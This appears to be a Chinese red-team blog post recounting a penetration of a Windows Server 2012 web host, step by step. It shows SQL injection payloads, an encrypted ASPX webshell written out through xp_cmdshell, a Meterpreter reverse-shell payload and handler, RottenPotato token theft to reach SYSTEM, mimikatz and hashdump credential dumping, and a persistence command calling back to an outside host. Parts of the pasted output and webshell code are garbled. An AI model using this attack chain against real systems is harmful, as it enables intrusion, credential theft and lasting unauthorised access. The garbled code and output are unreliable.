

## 记一次HW实战笔记 | 艰难的提权爬坑


LemonSec 5月18日

在昨天小伙伴文章进行了流程上的完善，对整个过程进行了总结。

- ```
1 Meterpreter自动提权
2 wmic对目标系统进行漏洞补丁更新情况查看
3 msf反弹进行补丁枚举
4 windows-exploit-suggester.py进行补丁漏洞审计
5 溢出漏洞模块提权
6 利用MS16-016进行meterpreter提权
7 .....
8 利用MS16-075提权（烂土豆）
```

## 0x00 前言

## 通过注入点拿到网站的webshell权限

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,\*/\*;q=0.8  
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2  
Accept-Encoding: gzip, deflate  
Connection: close  
Referer:   
Cookie: cookName=1  
Upgrade-Insecure-Requests: 1

微信号: lemon-sec

```
sqlimap resumed the following injection point(s) from stored session:
---
Parameter: cookName (Cookie)
  Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)
    Payload: cookName=1') AS OVNc WHERE 9223=9223 AND 5870 IN (SELECT (CHAR(113)+CHAR(122)+CHAR(113)+CHAR(107)+CHAR(113)+(SELECT (CASE WHEN (9223<9223) THEN CHAR(48) ELSE '' END)))+CHAR(113)+CHAR(98)+CHAR(98)+CHAR(120)+CHAR(113)))-- sMKP

  Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries (comment)
    Payload: cookName=1') AS esGA WHERE 8277=8277;WAITFOR DELAY '0:0:5'--

  Type: time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind (IF)
    Payload: cookName=1') AS hIA WHERE 9686=9686 WAITFOR DELAY '0:0:5'-- 1PTH
---
[16:50:00] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[16:50:00] [INFO] the back-end DBMS is Microsoft SQL Server
back-end DBMS: Microsoft SQL Server 2008
[16:50:00] [INFO] testing if current user is DBA
do you want to URL encode cookie values (implementation specific)? [Y/n] y
[16:50:03] [WARNING] reflective value(s) found and filtering out
[16:50:34] [INFO] testing if xp_cmdshell extended procedure is usable
[16:50:35] [INFO] used SQL query returns 2 entries
[16:50:36] [INFO] xp_cmdshell extended procedure is usable
[16:50:36] [INFO] using PowerShell to write the text file content to file 'C:\web\httpdocs\upload\00000000000000000000000000000000.txt'
do you want confirmation that the local file 'E:/工具/冰蝎/冰蝎/server/shell.aspx' has been successfully written on the back-end DBMS
ad/202005/img.aspx'? [Y/n] y
```

微信号: lemon-sec

数据库是sql server 2008的

## Dir查看目录

驱动器 C 中的卷没有标签。  
卷的序列号是 A01A-8D11

C:\Windows\system32 的目录

```
2020/04/25  720:20  ???<DIR>  ??????????.
2020/04/25  720:20  ???<DIR>  ??????????.
2013/08/22  722:53  ???<DIR>  ??????????0409
2020/04/25  700:26  ???<DIR>  ??????????0804
2020/04/24  717:40  ???<DIR>  ??????????1033
2020/04/24  717:40  ???<DIR>  ??????????2052
2013/06/18  722:48  ??????????160 @Ope
2013/06/18  723:04  ??????????120 @Ti1
2014/10/29  710:00  ??????????3,814,400 acce
2013/08/22  719:45  ??????????39,424 ACCT
2014/10/29  710:43  ??????????10,240 acle
2014/10/29  709:57  ??????????1,038,336 acly
2019/09/19  711:10  ??????????315,904 acmi
2014/10/29  710:08  ??????????55,808 acpp
2014/10/29  710:36  ??????????12,200 acpt
```

找到目录写文件（省略截图）。

发现没有写权限，尝试echo。

```
os-shell> echo ^<%@ Page Language="C#" %>^<%@Import Namespace="System.Reflection"%>^<%if (Request["pass"]!=null){ Se
ion.Add("k", Guid.NewGuid().ToString().Replace("-", "").Substring(16)); Response.Write(Session["k"]); return;}byte[] k =
ncoding.Default.GetBytes(Session["k"] + ""); c = Request.BinaryRead(Request.ContentLength); byte[] p = Request.BinaryRea
y.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0, c.Length); CreateInstance("U").EqualS
his);%> > C:\web\httpdocs\upload\202005\img.aspx
```

成功写入并连接

URL:

基本信息 命令执行 虚拟终端 文件管理 Socks代理 反弹Shell 数据库管理 自定义代码 备忘录 更新信息

可执行文件路径:

```
请求超时。
请求超时。
请求超时。
请求超时。

10.190.150.58 的 Ping 统计信息:
    数据包: 已发送 = 4, 已接收 = 0, 丢失 = 4 (100% 丢失),

c:\windows\system32\inetsrv>
c:\windows\system32\inetsrv>
c:\windows\system32\inetsrv>
c:\windows\system32\inetsrv>
c:\windows\system32\inetsrv>
```

查看补丁情况

|                |                             |
|----------------|-----------------------------|
| CmdPath :      | C:\Windows\System32\Cmd.exe |
| Argument :     | /c systeminfo               |
| <div>Run</div> |                             |

```
主机名: WINSER2012-BAK
OS 名称: Microsoft Windows Server 2012 R2 Standard
OS 版本: 6.3.9600 暂缺 Build 9600
OS 制造商: Microsoft Corporation
OS 配置: 独立服务器
OS 构件类型: Multiprocessor Free
注册的所有人: Windows 用户
注册的组织:
产品 ID: 00252-70000-00000-AA197
初始安装日期: 2018/11/12, 12:45:46
系统启动时间: 2020/4/25, 20:11:19
系统制造商: VMware, Inc.
系统型号: VMware Virtual Platform
系统类型: x64-based PC
处理器: 安装了 2 个处理器。
        [01]: Intel64 Family 6 Model 85 Stepping 4 GenuineIntel ~199
        [02]: Intel64 Family 6 Model 85 Stepping 4 GenuineIntel ~199
BIOS 版本: Phoenix Technologies LTD 6.00. 2015/9/21
Windows 目录: C:\Windows
系统目录: C:\Windows\system32
启动设备: \Device\HarddiskVolume1
系统区域设置: zh-cn; 中文(中国)
输入法区域设置: zh-cn; 中文(中国)
时区: (UTC+08:00) 北京, 重庆, 香港特别行政区, 乌鲁木齐
物理内存总量: 8,192 MB
可用的物理内存: 1,784 MB
虚拟内存: 最大值: 10,508 MB
虚拟内存: 可用: 1,514 MB
虚拟内存: 使用中: 8,994 MB
页面文件位置: C:\pagefile.sys
域: WORKGROUP
登录服务器: 暂缺
修补程序: 安装了 125 个修补程序。
        [01]: KB2868626
        [02]: KB2883200
        [03]: KB2887595
        [04]: KB2894856
        [05]: KB2903939
        [06]: KB2911106
        [07]: KB2919355
        [08]: KB2919394
        [09]: KB2928680
        [10]: KB2938066
        [11]: KB2954879
        [12]: KB2967917
        [13]: KB2977765
```

微信号: lemon-sec

## 0x01 生成后门程序

我是在vps的命令行下直接执行以下命令获得一个针对windows的反弹型木马:

```
1 n -p windows/meterpreter/reverse_tcp lhost=172.16.x.x lport=4444 -f exe -o /tmp/hack.exe
```

这里我们为生成的木马指定了payload为:

windows/meterpreter/reverse\_tcp,反弹到的监听端地址为172.16.x.x, 监听端口为4444, 文件输出格式为exe并保存到路径/tmp/hack.exe

将生成的木马上传并执行

## 0x02 执行监听

```
1 use exploit/multi/handler
2 set payload windows/meterpreter/reverse_tcp
3 set LHOST vps地址(172.16.x.x)
4 show options
```

```
文件(F) 编辑(E) 查看(V) 搜索(S) 终端(T) 帮助(H)
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 172.16.11.2
LHOST => 172.16.11.2
msf exploit(handler) > set LHOST 1
```

输入exploit命令开启我们配置的模块进行监听：

那么在执行之后，我们看到大型脚本木马显示为请稍后的状态，我们切换到之前监听的Metasploit命令行窗口，可以看到，目标机正在回连，且Meterpreter会话创建成功：

```
exploit target:
  Id  Name
  --  ---
  0   Wildcard Target

msf exploit(handler) > exploit

[*] Started reverse TCP handler
[*] Starting the payload handler
[*] Sending stage (957487 bytes)
[*] Meterpreter session 1 opened (1040) at 2016-11-15 10:08:00

meterpreter >
```

## ms16-075漏洞简介及利用前提

### 1.ms16-075漏洞简介

Windows SMB 服务器特权提升漏洞（CVE漏洞编号：CVE-2016-3225）当攻击者转发适用于在同一计算机上运行的其他服务的身份验证请求时，Microsoft 服务器消息块 (SMB) 中存在特权提升漏洞，成功利用此漏洞的攻击者可以使用提升的特权执行任意代码。若要利用此漏洞，攻击者首先必须登录系统。然后，攻击者可以运行一个为利用此漏洞而经特殊设计的应用程序，从而控制受影响的系统。此更新通过更正Windows服务器消息块 (SMB) 服务器处理凭据转发请求的方式来修复此漏洞。微软将其定义为KB3164038，有关该漏洞的详细介绍请参阅其网页：<https://docs.microsoft.com/zh-cn/security-updates/Securitybulletins/2016/ms16-075>。

### 2.wmic对目标系统进行漏洞补丁更新情况查看

- （1）wmic查看所有补丁安装情况
- wmic qfe getCaption,Description,HotFixID,InstalledOn
- （2）查找具体漏洞号的信息
- wmic qfe getCaption,Description,HotFixID,InstalledOn | findstr /C:"KB3136041"/C:"KB40184

### 3.msf反弹进行补丁枚举

- （1）使用模块post/windows/gather/enum\_patches
- use post/windows/gather/enum\_patches
- （2）设置会话



```
4 使用sessions -l命令查看会话，加入只有一个会话，其id为1，则使用set session1设置为当前会话。
5  (3) 设置漏洞KB号。
6  set kb "KB3136041","KB4018483","KB3143141"
7  (4) 执行枚举
8  run
```

#### 4. windows-exploit-suggester.py进行补丁漏洞审计

```
1  (1) systeminfo生成文件
2  systeminfo >win2008.txt
3  (2) 下载windows-exploit-suggester.py
4  https://github.com/GDSSecurity/Windows-Exploit-Suggester
5  (3) 安装xlrd模块
6  pipinstall xlrd --upgrade
7  (4) 更新windows-exploit-suggester
8  windows-exploit-suggester.py -u
9  上面命令会生成一个以当天日期的文件，例如2018-06-07-mssb.xls。
10 (5) 执行漏洞审计
11 windows-exploit-suggester.py --audit -l --database 2018-06-07-mssb.xls--systeminfo 1.t
12 2018-06-07-mssb.xls跟前面生成的文件名称一致，win2008-day.txt即为漏洞审计情况。
```

(补丁分析未留截图，以上只是简单详述补丁分析方式)

```
1  msf下提权命令利用程序。
2  (1) uploadpotato.exe
3  (2) use incognito
4  (3) list_tokens -u
5  (4) execute -cH -f./potato.exe
6  (5) list_tokens -u
7  (6) impersonate_token"NT AUTHORITY\SYSTEM"
8  (7) getuid
```

#### 0x03 使用Potato(烂土豆) 窃取system 令牌并模仿令牌

在反弹的meterpreter中分别执行getuid及getsystem命令查看当前用户的权限及进行提权，结果显示使用msf自带的提权方法提权失败。

#### MS16-075(烂土豆):

<https://github.com/foxglovesec/RottenPotato>

1. 先getuid看看自己的当前id，可以看到只是network服务

```
meterpreter > getuid
Server username: IIS
meterpreter >
```

## 2. 然后加载窃取令牌的模块

```
1 use incognito // 用来窃取令牌、模仿令牌
```

这个模块是用来窃取令牌、模仿令牌的。令牌就相当于Cookie。Windows中有两种令牌，一种是Delegation Token，是为交互式登录（比如登录进系统或者通过远程桌面连接到系统）创建的。另一种是Impersonate Token（模仿令牌），它是为非交互式会话创建的。

## 3. 列出当前令牌(这是已经提权之后的，之前的截图找不到了)

```
1 list_tokens -u // 可以看到当前有一个“代表令牌”
```

```
meterpreter > use incognito
Loading extension incognito...
[-] Failed to load extension: No module of the name incognito found
meterpreter > use incognito
Loading extension incognito...Success.
meterpreter > list_tokens -u

Delegation Tokens Available
=====
\
IIS APPPOOL\...
NT AUTHORITY\SYSTEM
Window Manager\DWM-1
Window Manager\DWM-10
Window Manager\DWM-11
Window Manager\DWM-12
Window Manager\DWM-2
Window Manager\DWM-3
Window Manager\DWM-4
Window Manager\DWM-5
Window Manager\DWM-6
Window Manager\DWM-8
WINSER2012-BAK\adminits$
WINSER2012-BAK\siadmin
WINSER2012-BAK\sidriadmin
WINSER2012-BAK\test$

Impersonation Tokens Available
=====
NT AUTHORITY\IUSR

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > shell
```

在meterpreter中执行upload potato.exe命令，meterpreter会将potato文件直接上传到反弹shell所在的目录下。以下我们使用冰蝎进行的上传。

## 4. 冰蝎上传potato，然后进入自己放potato的目录，执行EXP

```
1 execute -ch -f ./potato.exe
```

```
meterpreter > cd E:/
meterpreter >
```

## 5. 再list\_tokens看一下，可以看到当前是有了一个SYSTEM权限的 可以模仿令牌

```
Process 1261124 created.
Channel 1 created.
meterpreter > list_tokens -u
[-] Warning: Not currently running as SYSTEM, not
Call rev2self if primary process to
Delegation Tokens Available
=====
NT AUTHORITY\NETWORK SERVICE
Impersonation Tokens Available
=====
NT AUTHORITY\SYSTEM
meterpreter >
```

## 6. 然后执行窃取令牌的命令

1 impersonate\_token "NT AUTHORITY\\SYSTEM" //这里需要注意一点就是反斜线是两个。

```
meterpreter > impersonate_token "NT AUTHORITY\\SY
[-] Warning: Not currently running as SYSTEM, not
Call rev2self if primary process tok
[-] User token NT AUTHORITY\\SYSTEM not found
meterpreter > execute -ch -f ./rp.exe
Process 1268356 created.
Channel 2 created.
meterpreter > impersonate_token "NT AUTHORITY\\SY
[-] Warning: Not currently running as SYSTEM, not
Call rev2self if primary process tok
[-] No delegation token available
[+] Successfully impersonated user NT AUTHORITY\\SYSTEM
meterpreter >
```

注意这里反斜线是两个。第一次执行提示没找到这个用户令牌。这个原因我估计是令牌失效了，就跟Cookie失效一样。所以再执行一次EXP，然后按1键重复impersonate\_token几次命令。可以看到第二次是成功模仿了用户"NT AUTHORITY\\SYSTEM"。

7. getuid看下自己的当前用户ID，可以看到是SYSTEM。使用shell命令获得一个交互式cmd shell，whoami 也是成功了

```
meterpreter > getuid
Server username: NT AUTHORITY\\SYSTEM
meterpreter >
```

到这里就提权成功了，然后可以进一步横向利用。

## 0x04 EXP原理浅析

RottenPotato（烂土豆）提权的原理可以简述如下：

- 1.欺骗“NT AUTHORITY\\SYSTEM”账户通过NTLM认证到我们控制的TCP终端。
- 2.对这个认证过程使用中间人攻击（NTLM重放），为“NT AUTHORITY\\SYSTEM”账户本地协商一个安全令牌。这个过程是通过一系列的Windows API调用实现的。
- 3.模仿这个令牌。只有具有“模仿安全令牌权限”的账户才能去模仿别人的令牌。一般大多数的服务型账户（IIS、MSSQL等）有这个权限，大多数用户级的账户没有这个权限。

访问令牌是什么？它是一种用来描述Windows进程或线程安全状态的对象，它跟会话Cookie有些类似。

而我們所需要的就是一个拥有相应权限的进程。一般来说，用户所运行的SQL server服务或者ISS服务都会拥有这种权限，所以如果我们能够拿到这些系统中的Shell或者在其中实现命令执行，那我们就成功了一半了。更加搞笑的是，微软并没有修复这个安全问题，可能他们认为这也是一种“专门设计的功能”吧...

所以，一般从web拿到的webshell都是IIS服务器权限，是具有这个模仿权限的。测试过程中，发现使用已经建好的账户去反弹meterpreter然后再去执行EXP的时候会失败，但使用菜刀、冰蝎（IIS服务器权限）反弹meterpreter就会成功。

烂土豆比热土豆的优点是：

- 1 100%可靠
- 2 （当时）全版本通杀。

- 3 立即生效，不用像hot potato那样有时候需要等Windows更新才能使用。

进行ms16-075提权及相关命令总结

1.ms16-075提权命令

upload potato.exe

use incognito

list\_tokens -u

execute -cH -f ./potato.exe

list\_tokens -u

impersonate\_token "NT AUTHORITY\SYSTEM"

getuid

2.获取密码哈希值

run hashdump

3.mimikatz进行密码获取

load mimikatz

kerberos、livessp、msv、ssp、tspkg、wdigest（逐个命令测试，有的会显示明文密码）

mimikatz\_command: mimikatz命令提示窗口

mimikatz\_command -f sekurlsa::wdigest -a"full"

mimikatz\_command -f sekurlsa::logonpasswords

4.远程终端端口查看命令

tasklist /svc | find"TermService"

netstat -ano | find "2872"

5.持久化攻击

run persistence -X -i 50 -p 4433 -r 192.168.1.33

## 0x05 参考链接

- 1 <http://hackergu.com/powerup-stealtoken-rottenpotato/>
- 2 <https://www.cnblogs.com/backlion/p/9484950.html>
- 3 <https://www.cnblogs.com/hookjoy/p/12460089.html>